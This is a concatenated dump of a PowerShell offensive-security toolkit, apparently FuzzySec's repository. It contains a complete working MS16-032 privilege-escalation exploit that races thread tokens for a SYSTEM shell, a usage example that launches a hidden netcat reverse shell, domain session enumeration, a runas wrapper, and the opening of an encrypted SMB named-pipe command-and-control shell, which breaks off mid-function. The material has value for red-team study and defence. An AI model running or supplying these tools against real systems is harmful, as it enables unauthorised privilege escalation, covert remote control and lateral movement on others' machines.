Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW 65 | 66 | C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1 67 | 68 | .EXAMPLE 69 | Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW 70 | 71 | C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1 72 | 73 | #> 74 | 75 | param ( 76 | [Parameter(Mandatory = $True)] 77 | [string]$Binary, 78 | [Parameter(Mandatory = $False)] 79 | [string]$Args=$null, 80 | [Parameter(Mandatory = $True)] 81 | [string]$CreationFlags, 82 | [Parameter(Mandatory = $True)] 83 | [string]$ShowWindow, 84 | [Parameter(Mandatory = $True)] 85 | [string]$StartF 86 | ) 87 | 88 | # Define all the structures for CreateProcess 89 | Add-Type -TypeDefinition @" 90 | using System; 91 | using System.Diagnostics; 92 | using System.Runtime.InteropServices; 93 | 94 | [StructLayout(LayoutKind.Sequential)] 95 | public struct PROCESS_INFORMATION 96 | { 97 | public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; 98 | } 99 | 100 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 101 | public struct STARTUPINFO 102 | { 103 | public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; 104 | public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; 105 | public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; 106 | public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; 107 | public IntPtr hStdError; 108 | } 109 | 110 | [StructLayout(LayoutKind.Sequential)] 111 | public struct SECURITY_ATTRIBUTES 112 | { 113 | public int length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; 114 | } 115 | 116 | public static class Kernel32 117 | { 118 | [DllImport("kernel32.dll", SetLastError=true)] 119 | public static extern bool CreateProcess( 120 | string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, 121 | ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, 122 | IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, 123 | out PROCESS_INFORMATION lpProcessInformation); 124 | } 125 | "@ 126 | 127 | # StartupInfo Struct 128 | $StartupInfo = New-Object STARTUPINFO 129 | $StartupInfo.dwFlags = $StartF # StartupInfo.dwFlag 130 | $StartupInfo.wShowWindow = $ShowWindow # StartupInfo.ShowWindow 131 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 132 | 133 | # ProcessInfo Struct 134 | $ProcessInfo = New-Object PROCESS_INFORMATION 135 | 136 | # SECURITY_ATTRIBUTES Struct (Process & Thread) 137 | $SecAttr = New-Object SECURITY_ATTRIBUTES 138 | $SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) 139 | 140 | # CreateProcess --> lpCurrentDirectory 141 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName 142 | 143 | # Call CreateProcess 144 | [Kernel32]::CreateProcess($Binary, $Args, [ref] $SecAttr, [ref] $SecAttr, $false, $CreationFlags, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null 145 | 146 | echo "`nProcess Information:" 147 | Get-Process -Id $ProcessInfo.dwProcessId |ft 148 | } -------------------------------------------------------------------------------- /Invoke-MS16-032.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-MS16-032 { 2 | <# 3 | .SYNOPSIS 4 | 5 | PowerShell implementation of MS16-032. The exploit targets all vulnerable 6 | operating systems that support PowerShell v2+. Credit for the discovery of 7 | the bug and the logic to exploit it go to James Forshaw (@tiraniddo). 8 | 9 | Targets: 10 | 11 | * Win7-Win10 & 2k8-2k12 <== 32/64 bit! 12 | * Tested on x32 Win7, x64 Win8, x64 2k12R2 13 | 14 | Notes: 15 | 16 | * In order for the race condition to succeed the machine must have 2+ CPU 17 | cores. If testing in a VM just make sure to add a core if needed mkay. 18 | * Want to know more about MS16-032 ==> 19 | https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html 20 | 21 | .DESCRIPTION 22 | Author: Ruben Boonen (@FuzzySec) 23 | Blog: http://www.fuzzysecurity.com/ 24 | License: BSD 3-Clause 25 | Required Dependencies: PowerShell v2+ 26 | Optional Dependencies: None 27 | 28 | .EXAMPLE 29 | C:\PS> Invoke-MS16-032 30 | #> 31 | Add-Type -TypeDefinition @" 32 | using System; 33 | using System.Diagnostics; 34 | using System.Runtime.InteropServices; 35 | using System.Security.Principal; 36 | 37 | [StructLayout(LayoutKind.Sequential)] 38 | public struct PROCESS_INFORMATION 39 | { 40 | public IntPtr hProcess; 41 | public IntPtr hThread; 42 | public int dwProcessId; 43 | public int dwThreadId; 44 | } 45 | 46 | [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] 47 | public struct STARTUPINFO 48 | { 49 | public Int32 cb; 50 | public string lpReserved; 51 | public string lpDesktop; 52 | public string lpTitle; 53 | public Int32 dwX; 54 | public Int32 dwY; 55 | public Int32 dwXSize; 56 | public Int32 dwYSize; 57 | public Int32 dwXCountChars; 58 | public Int32 dwYCountChars; 59 | public Int32 dwFillAttribute; 60 | public Int32 dwFlags; 61 | public Int16 wShowWindow; 62 | public Int16 cbReserved2; 63 | public IntPtr lpReserved2; 64 | public IntPtr hStdInput; 65 | public IntPtr hStdOutput; 66 | public IntPtr hStdError; 67 | } 68 | 69 | [StructLayout(LayoutKind.Sequential)] 70 | public struct SQOS 71 | { 72 | public int Length; 73 | public int ImpersonationLevel; 74 | public int ContextTrackingMode; 75 | public bool EffectiveOnly; 76 | } 77 | 78 | public static class Advapi32 79 | { 80 | [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] 81 | public static extern bool CreateProcessWithLogonW( 82 | String userName, 83 | String domain, 84 | String password, 85 | int logonFlags, 86 | String applicationName, 87 | String commandLine, 88 | int creationFlags, 89 | int environment, 90 | String currentDirectory, 91 | ref STARTUPINFO startupInfo, 92 | out PROCESS_INFORMATION processInformation); 93 | 94 | [DllImport("advapi32.dll", SetLastError=true)] 95 | public static extern bool SetThreadToken( 96 | ref IntPtr Thread, 97 | IntPtr Token); 98 | 99 | [DllImport("advapi32.dll", SetLastError=true)] 100 | public static extern bool OpenThreadToken( 101 | IntPtr ThreadHandle, 102 | int DesiredAccess, 103 | bool OpenAsSelf, 104 | out IntPtr TokenHandle); 105 | 106 | [DllImport("advapi32.dll", SetLastError=true)] 107 | public static extern bool OpenProcessToken( 108 | IntPtr ProcessHandle, 109 | int DesiredAccess, 110 | ref IntPtr TokenHandle); 111 | 112 | [DllImport("advapi32.dll", SetLastError=true)] 113 | public extern static bool DuplicateToken( 114 | IntPtr ExistingTokenHandle, 115 | int SECURITY_IMPERSONATION_LEVEL, 116 | ref IntPtr DuplicateTokenHandle); 117 | } 118 | 119 | public static class Kernel32 120 | { 121 | [DllImport("kernel32.dll")] 122 | public static extern uint GetLastError(); 123 | 124 | [DllImport("kernel32.dll", SetLastError=true)] 125 | public static extern IntPtr GetCurrentProcess(); 126 | 127 | [DllImport("kernel32.dll", SetLastError=true)] 128 | public static extern IntPtr GetCurrentThread(); 129 | 130 | [DllImport("kernel32.dll", SetLastError=true)] 131 | public static extern int GetThreadId(IntPtr hThread); 132 | 133 | [DllImport("kernel32.dll", SetLastError = true)] 134 | public static extern int GetProcessIdOfThread(IntPtr handle); 135 | 136 | [DllImport("kernel32.dll",SetLastError=true)] 137 | public static extern int SuspendThread(IntPtr hThread); 138 | 139 | [DllImport("kernel32.dll",SetLastError=true)] 140 | public static extern int ResumeThread(IntPtr hThread); 141 | 142 | [DllImport("kernel32.dll", SetLastError=true)] 143 | public static extern bool TerminateProcess( 144 | IntPtr hProcess, 145 | uint uExitCode); 146 | 147 | [DllImport("kernel32.dll", SetLastError=true)] 148 | public static extern bool CloseHandle(IntPtr hObject); 149 | 150 | [DllImport("kernel32.dll", SetLastError=true)] 151 | public static extern bool DuplicateHandle( 152 | IntPtr hSourceProcessHandle, 153 | IntPtr hSourceHandle, 154 | IntPtr hTargetProcessHandle, 155 | ref IntPtr lpTargetHandle, 156 | int dwDesiredAccess, 157 | bool bInheritHandle, 158 | int dwOptions); 159 | } 160 | 161 | public static class Ntdll 162 | { 163 | [DllImport("ntdll.dll", SetLastError=true)] 164 | public static extern int NtImpersonateThread( 165 | IntPtr ThreadHandle, 166 | IntPtr ThreadToImpersonate, 167 | ref SQOS SecurityQualityOfService); 168 | } 169 | "@ 170 | 171 | function Get-ThreadHandle { 172 | # StartupInfo Struct 173 | $StartupInfo = New-Object STARTUPINFO 174 | $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES 175 | $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() 176 | $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() 177 | $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() 178 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 179 | 180 | # ProcessInfo Struct 181 | $ProcessInfo = New-Object PROCESS_INFORMATION 182 | 183 | # CreateProcessWithLogonW --> lpCurrentDirectory 184 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName 185 | 186 | # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED 187 | $CallResult = [Advapi32]::CreateProcessWithLogonW( 188 | "user", "domain", "pass", 189 | 0x00000002, "C:\Windows\System32\cmd.exe", "", 190 | 0x00000004, $null, $GetCurrentPath, 191 | [ref]$StartupInfo, [ref]$ProcessInfo) 192 | 193 | # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS 194 | $lpTargetHandle = [IntPtr]::Zero 195 | $CallResult = [Kernel32]::DuplicateHandle( 196 | $ProcessInfo.hProcess, 0x4, 197 | [Kernel32]::GetCurrentProcess(), 198 | [ref]$lpTargetHandle, 0, $false, 199 | 0x00000002) 200 | 201 | # Clean up suspended process 202 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) 203 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) 204 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) 205 | 206 | $lpTargetHandle 207 | } 208 | 209 | function Get-SystemToken { 210 | echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)" 211 | 212 | $CallResult = [Kernel32]::SuspendThread($hThread) 213 | if ($CallResult -ne 0) { 214 | echo "[!] $hThread is a bad thread, exiting.." 215 | Return 216 | } echo "[+] Thread suspended" 217 | 218 | echo "[>] Wiping current impersonation token" 219 | $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero) 220 | if (!$CallResult) { 221 | echo "[!] SetThreadToken failed, exiting.." 222 | $CallResult = [Kernel32]::ResumeThread($hThread) 223 | echo "[+] Thread resumed!" 224 | Return 225 | } 226 | 227 | echo "[>] Building SYSTEM impersonation token" 228 | # SecurityQualityOfService struct 229 | $SQOS = New-Object SQOS 230 | $SQOS.ImpersonationLevel = 2 #SecurityImpersonation 231 | $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) 232 | # Undocumented API's, I like your style Microsoft ;) 233 | $CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos) 234 | if ($CallResult -ne 0) { 235 | echo "[!] NtImpersonateThread failed, exiting.." 236 | $CallResult = [Kernel32]::ResumeThread($hThread) 237 | echo "[+] Thread resumed!" 238 | Return 239 | } 240 | 241 | # Null $SysTokenHandle 242 | $script:SysTokenHandle = [IntPtr]::Zero 243 | 244 | # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE 245 | $CallResult = [Advapi32]::OpenThreadToken($hThread, 0x0006, $false, [ref]$SysTokenHandle) 246 | if (!$CallResult) { 247 | echo "[!] OpenThreadToken failed, exiting.." 248 | $CallResult = [Kernel32]::ResumeThread($hThread) 249 | echo "[+] Thread resumed!" 250 | Return 251 | } 252 | 253 | echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" 254 | echo "[+] Resuming thread.." 255 | $CallResult = [Kernel32]::ResumeThread($hThread) 256 | } 257 | 258 | # main() <--- ;) 259 | $ms16032 = @" 260 | __ __ ___ ___ ___ ___ ___ ___ 261 | | V | _|_ | | _|___| |_ |_ | 262 | | |_ |_| |_| . |___| | |_ | _| 263 | |_|_|_|___|_____|___| |___|___|___| 264 | 265 | [by b33f -> @FuzzySec] 266 | "@ 267 | 268 | $ms16032 269 | 270 | # Check logical processor count, race condition requires 2+ 271 | echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" 272 | if ($([System.Environment]::ProcessorCount) -lt 2) { 273 | echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" 274 | Return 275 | } 276 | 277 | echo "[>] Duplicating CreateProcessWithLogonW handle" 278 | $hThread = Get-ThreadHandle 279 | 280 | # If no thread handle is captured, the box is patched 281 | if ($hThread -eq 0) { 282 | echo "[!] No valid thread handle was captured, exiting!`n" 283 | Return 284 | } else { 285 | echo "[?] Done, using thread handle: $hThread" 286 | } echo "`n[*] Sniffing out privileged impersonation token.." 287 | 288 | # Get handle to SYSTEM access token 289 | Get-SystemToken 290 | 291 | # If we fail a check in Get-SystemToken, exit 292 | if ($SysTokenHandle -eq 0) { 293 | Return 294 | } 295 | 296 | echo "`n[*] Sniffing out SYSTEM shell.." 297 | echo "`n[>] Duplicating SYSTEM token" 298 | $hDuplicateTokenHandle = [IntPtr]::Zero 299 | $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 300 | 301 | # Simple PS runspace definition 302 | echo "[>] Starting token race" 303 | $Runspace = [runspacefactory]::CreateRunspace() 304 | $StartTokenRace = [powershell]::Create() 305 | $StartTokenRace.runspace = $Runspace 306 | $Runspace.Open() 307 | [void]$StartTokenRace.AddScript({ 308 | Param ($hThread, $hDuplicateTokenHandle) 309 | while ($true) { 310 | $CallResult = [Advapi32]::SetThreadToken([ref]$hThread, $hDuplicateTokenHandle) 311 | } 312 | }).AddArgument($hThread).AddArgument($hDuplicateTokenHandle) 313 | $AscObj = $StartTokenRace.BeginInvoke() 314 | 315 | echo "[>] Starting process race" 316 | # Adding a timeout (10 seconds) here to safeguard from edge-cases 317 | $SafeGuard = [diagnostics.stopwatch]::StartNew() 318 | while ($SafeGuard.ElapsedMilliseconds -lt 10000) { 319 | 320 | # StartupInfo Struct 321 | $StartupInfo = New-Object STARTUPINFO 322 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 323 | 324 | # ProcessInfo Struct 325 | $ProcessInfo = New-Object PROCESS_INFORMATION 326 | 327 | # CreateProcessWithLogonW --> lpCurrentDirectory 328 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName 329 | 330 | # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED 331 | $CallResult = [Advapi32]::CreateProcessWithLogonW( 332 | "user", "domain", "pass", 333 | 0x00000002, "C:\Windows\System32\cmd.exe", "", 334 | 0x00000004, $null, $GetCurrentPath, 335 | [ref]$StartupInfo, [ref]$ProcessInfo) 336 | 337 | #--- 338 | # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop. 339 | #--- 340 | # Missing this check used to cause the exploit to fail sometimes. 341 | # If CreateProcessWithLogon fails OpenProcessToken won't succeed 342 | # but we obviously don't have a SYSTEM shell :'( . Should be 100% 343 | # reliable now! 344 | #--- 345 | if (!$CallResult) { 346 | continue 347 | } 348 | 349 | $hTokenHandle = [IntPtr]::Zero 350 | $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) 351 | # If we can't open the process token it's a SYSTEM shell! 352 | if (!$CallResult) { 353 | echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" 354 | $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) 355 | $StartTokenRace.Stop() 356 | $SafeGuard.Stop() 357 | Return 358 | } 359 | 360 | # Clean up suspended process 361 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) 362 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) 363 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) 364 | 365 | } 366 | 367 | # Kill runspace & stopwatch if edge-case 368 | $StartTokenRace.Stop() 369 | $SafeGuard.Stop() 370 | } -------------------------------------------------------------------------------- /Invoke-NetSessionEnum.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-NetSessionEnum { 2 | <# 3 | .SYNOPSIS 4 | 5 | Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines. 6 | 7 | .DESCRIPTION 8 | 9 | Author: Ruben Boonen (@FuzzySec) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .EXAMPLE 15 | C:\PS> Invoke-NetSessionEnum -HostName SomeHostName 16 | 17 | #> 18 | 19 | param ( 20 | [Parameter(Mandatory = $True)] 21 | [string]$HostName 22 | ) 23 | 24 | Add-Type -TypeDefinition @" 25 | using System; 26 | using System.Diagnostics; 27 | using System.Runtime.InteropServices; 28 | 29 | [StructLayout(LayoutKind.Sequential)] 30 | public struct SESSION_INFO_10 31 | { 32 | [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost; 33 | [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser; 34 | public uint SessionTime; 35 | public uint IdleTime; 36 | } 37 | 38 | public static class Netapi32 39 | { 40 | [DllImport("Netapi32.dll", SetLastError=true)] 41 | public static extern int NetSessionEnum( 42 | [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName, 43 | [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName, 44 | [In,MarshalAs(UnmanagedType.LPWStr)] string UserName, 45 | Int32 Level, 46 | out IntPtr bufptr, 47 | int prefmaxlen, 48 | ref Int32 entriesread, 49 | ref Int32 totalentries, 50 | ref Int32 resume_handle); 51 | 52 | [DllImport("Netapi32.dll", SetLastError=true)] 53 | public static extern int NetApiBufferFree( 54 | IntPtr Buffer); 55 | } 56 | "@ 57 | 58 | # Create SessionInfo10 Struct 59 | $SessionInfo10 = New-Object SESSION_INFO_10 60 | $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr 61 | $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;)) 62 | 63 | # NetSessionEnum params 64 | $OutBuffPtr = [IntPtr]::Zero # Struct output buffer 65 | $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle 66 | $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle) 67 | 68 | if ($CallResult -ne 0){ 69 | echo "Mmm something went wrong!`nError Code: $CallResult" 70 | } 71 | 72 | else { 73 | 74 | if ([System.IntPtr]::Size -eq 4) { 75 | echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())" 76 | } 77 | else { 78 | echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())" 79 | } 80 | 81 | echo "Result-set contains $EntriesRead session(s)!" 82 | 83 | # Change buffer offset to int 84 | $BufferOffset = $OutBuffPtr.ToInt64() 85 | 86 | # Loop buffer entries and cast pointers as SessionInfo10 87 | for ($Count = 0; ($Count -lt $EntriesRead); $Count++){ 88 | $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset 89 | $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10) 90 | $Info 91 | $BufferOffset = $BufferOffset + $SessionInfo10StructSize 92 | } 93 | 94 | echo "`nCalling NetApiBufferFree, no memleaks here!" 95 | [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null 96 | } 97 | } -------------------------------------------------------------------------------- /Invoke-Runas.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-Runas { 2 | 3 | <# 4 | .SYNOPSIS 5 | 6 | Overview: 7 | 8 | Functionally equivalent to Windows "runas.exe", using Advapi32::CreateProcessWithLogonW (also used 9 | by runas under the hood). 10 | 11 | Parameters: 12 | 13 | -User Specifiy username. 14 | 15 | -Password Specify password. 16 | 17 | -Domain Specify domain. Defaults to localhost if not specified. 18 | 19 | -LogonType dwLogonFlags: 20 | 0x00000001 --> LOGON_WITH_PROFILE 21 | Log on, then load the user profile in the HKEY_USERS registry 22 | key. The function returns after the profile is loaded. 23 | 24 | 0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly) 25 | Log on, but use the specified credentials on the network only. 26 | The new process uses the same token as the caller, but the 27 | system creates a new logon session within LSA, and the process 28 | uses the specified credentials as the default credentials. 29 | 30 | -Binary Full path of the module to be executed. 31 | 32 | -Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults 33 | to $null if not specified. 34 | 35 | 36 | .DESCRIPTION 37 | Author: Ruben Boonen (@FuzzySec) 38 | License: BSD 3-Clause 39 | Required Dependencies: None 40 | Optional Dependencies: None 41 | .EXAMPLE 42 | Start cmd with a local account 43 | C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Binary C:\Windows\System32\cmd.exe -LogonType 0x1 44 | 45 | .EXAMPLE 46 | Start cmd with remote credentials. Equivalent to "/netonly" in runas. 47 | C:\PS> Invoke-Runas -User SomeAccount -Password SomePass -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2 48 | #> 49 | 50 | param ( 51 | [Parameter(Mandatory = $True)] 52 | [string]$User, 53 | [Parameter(Mandatory = $True)] 54 | [string]$Password, 55 | [Parameter(Mandatory = $False)] 56 | [string]$Domain=".", 57 | [Parameter(Mandatory = $True)] 58 | [string]$Binary, 59 | [Parameter(Mandatory = $False)] 60 | [string]$Args=$null, 61 | [Parameter(Mandatory = $True)] 62 | [int][ValidateSet(1,2)] 63 | [string]$LogonType 64 | ) 65 | 66 | Add-Type -TypeDefinition @" 67 | using System; 68 | using System.Diagnostics; 69 | using System.Runtime.InteropServices; 70 | using System.Security.Principal; 71 | 72 | [StructLayout(LayoutKind.Sequential)] 73 | public struct PROCESS_INFORMATION 74 | { 75 | public IntPtr hProcess; 76 | public IntPtr hThread; 77 | public uint dwProcessId; 78 | public uint dwThreadId; 79 | } 80 | 81 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 82 | public struct STARTUPINFO 83 | { 84 | public uint cb; 85 | public string lpReserved; 86 | public string lpDesktop; 87 | public string lpTitle; 88 | public uint dwX; 89 | public uint dwY; 90 | public uint dwXSize; 91 | public uint dwYSize; 92 | public uint dwXCountChars; 93 | public uint dwYCountChars; 94 | public uint dwFillAttribute; 95 | public uint dwFlags; 96 | public short wShowWindow; 97 | public short cbReserved2; 98 | public IntPtr lpReserved2; 99 | public IntPtr hStdInput; 100 | public IntPtr hStdOutput; 101 | public IntPtr hStdError; 102 | } 103 | 104 | public static class Advapi32 105 | { 106 | [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] 107 | public static extern bool CreateProcessWithLogonW( 108 | String userName, 109 | String domain, 110 | String password, 111 | int logonFlags, 112 | String applicationName, 113 | String commandLine, 114 | int creationFlags, 115 | int environment, 116 | String currentDirectory, 117 | ref STARTUPINFO startupInfo, 118 | out PROCESS_INFORMATION processInformation); 119 | } 120 | 121 | public static class Kernel32 122 | { 123 | [DllImport("kernel32.dll")] 124 | public static extern uint GetLastError(); 125 | } 126 | "@ 127 | 128 | # StartupInfo Struct 129 | $StartupInfo = New-Object STARTUPINFO 130 | $StartupInfo.dwFlags = 0x00000001 131 | $StartupInfo.wShowWindow = 0x0001 132 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) 133 | 134 | # ProcessInfo Struct 135 | $ProcessInfo = New-Object PROCESS_INFORMATION 136 | 137 | # CreateProcessWithLogonW --> lpCurrentDirectory 138 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName 139 | 140 | echo "`n[>] Calling Advapi32::CreateProcessWithLogonW" 141 | $CallResult = [Advapi32]::CreateProcessWithLogonW( 142 | $User, $Domain, $Password, $LogonType, $Binary, 143 | $Args, 0x04000000, $null, $GetCurrentPath, 144 | [ref]$StartupInfo, [ref]$ProcessInfo) 145 | 146 | if (!$CallResult) { 147 | echo "`n[!] Mmm, something went wrong! GetLastError returned:" 148 | echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)`n" 149 | } else { 150 | echo "`n[+] Success, process details:" 151 | Get-Process -Id $ProcessInfo.dwProcessId 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /Invoke-SMBShell.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SMBShell { 2 | <# 3 | .SYNOPSIS 4 | Invoke-SMBShell uses named pipes to create an SMB C2 channel. The SMB 5 | traffic is encrypted using AES CBC (code from Empire), the key/pipe 6 | are generated randomly by the server on start-up. 7 | 8 | This is a crude POC, in the wild malware like Duqu or ProjectSauron 9 | use this technique to create an internal C&C which implants can 10 | connect to. The C&C then acts as an outbound proxy for the malicious 11 | traffic. Given time, I'd like to implement much the same thing, 12 | perhaps as a proxy for Empire agents. 13 | 14 | Notes: 15 | 16 | * To connect, the client needs to be able to initialise an SMB 17 | connection to the target (eg: net use \\server\share). Such 18 | A connection could be made with different user credentials 19 | or by passing the hash/ticket. Not unreasonable in a corporate 20 | environment. 21 | 22 | Limitations: 23 | 24 | * Currently the named pipe is not asynchronous so only one client 25 | at a time. 26 | 27 | * The shell doesn't yet have a concept of long running jobs, all 28 | commands are handed off as jobs and the output is retrieved 29 | once finished. 30 | 31 | .DESCRIPTION 32 | Author: Ruben Boonen (@FuzzySec) 33 | License: BSD 3-Clause 34 | Required Dependencies: None 35 | Optional Dependencies: None 36 | 37 | .EXAMPLE 38 | Server mode, hosts the named pipe. 39 | 40 | C:\PS> Invoke-SMBShell 41 | 42 | .EXAMPLE 43 | Client mode, connects to the named pipe. 44 | 45 | C:\PS> Invoke-SMBShell -Client -Server REDRUM-DC -AESKey dFqeSRa5IVD7Daby -Pipe tapsrv.5604.w6YjHCgSOVpoXOZF 46 | #> 47 | 48 | [CmdletBinding(DefaultParametersetName='Server')] 49 | param( 50 | [Parameter(ParameterSetName='Client',Mandatory=$false)] 51 | [switch]$Client, 52 | [Parameter(ParameterSetName='Client',Mandatory=$true)] 53 | [string]$Server, 54 | [Parameter(ParameterSetName='Client',Mandatory=$true)] 55 | [string]$AESKey, 56 | [Parameter(ParameterSetName='Client',Mandatory=$true)] 57 | [string]$Pipe 58 | ) 59 | 60 | # Set the function Mode 61 | $PipeMode = $PsCmdLet.ParameterSetName 62 | 63 | # Crypto functions from Empire agent 64 | # https://github.com/PowerShellEmpire/Empire/blob/master/data/agent/agent.ps1#L514 65 | function Encrypt-Bytes { 66 | param($bytes) 67 | # get a random IV 68 | $IV = [byte] 0..255 | Get-Random -count 16 69 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; 70 | $AES.Mode = "CBC"; 71 | $AES.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey); 72 | $AES.IV = $IV; 73 | $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length); 74 | # append the MAC 75 | $hmac = New-Object System.Security.Cryptography.HMACSHA1; 76 | $hmac.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey); 77 | $ciphertext + $hmac.ComputeHash($ciphertext); 78 | } 79 | 80 | function Decrypt-Bytes { 81 | param ($inBytes) 82 | if($inBytes.Length -gt 32){ 83 | # Verify the MAC 84 | $mac = $inBytes[-20..-1]; 85 | $inBytes = $inBytes[0..($inBytes.length - 21)]; 86 | $hmac = New-Object System.Security.Cryptography.HMACSHA1; 87 | $hmac.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey); 88 | $expected = $hmac.ComputeHash($inBytes); 89 | if (@(Compare-Object $mac $expected -sync 0).Length -ne 0){ 90 | return; 91 | } 92 | 93 | # extract the IV 94 | $IV = $inBytes[0..15]; 95 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; 96 | $AES.Mode = "CBC"; 97 | $AES.Key = [system.Text.Encoding]::UTF8.GetBytes($AESKey); 98 | $AES.IV = $IV; 99 | ($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16) 100 | } 101 | } 102 | 103 | # Generate 16 friendly random characters 104 | function Random-16 { 105 | $Seed = 1..16|ForEach-Object{Get-Random -max 62}; 106 | $CharSet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 107 | $CharSet[$Seed] -join "" 108 | } 109 | 110 | # Write pipe helper function 111 | function Write-Data { 112 | param ($data) 113 | $Input = Encrypt-Bytes -bytes $([system.Text.Encoding]::UTF8.GetBytes($data)) 114 | $Input = ($Input -join ' ' |Out-String).trim() 115 | $Input 116 | } 117 | 118 | # Read pipe helper function 119 | function Read-Data { 120 | param ($data) 121 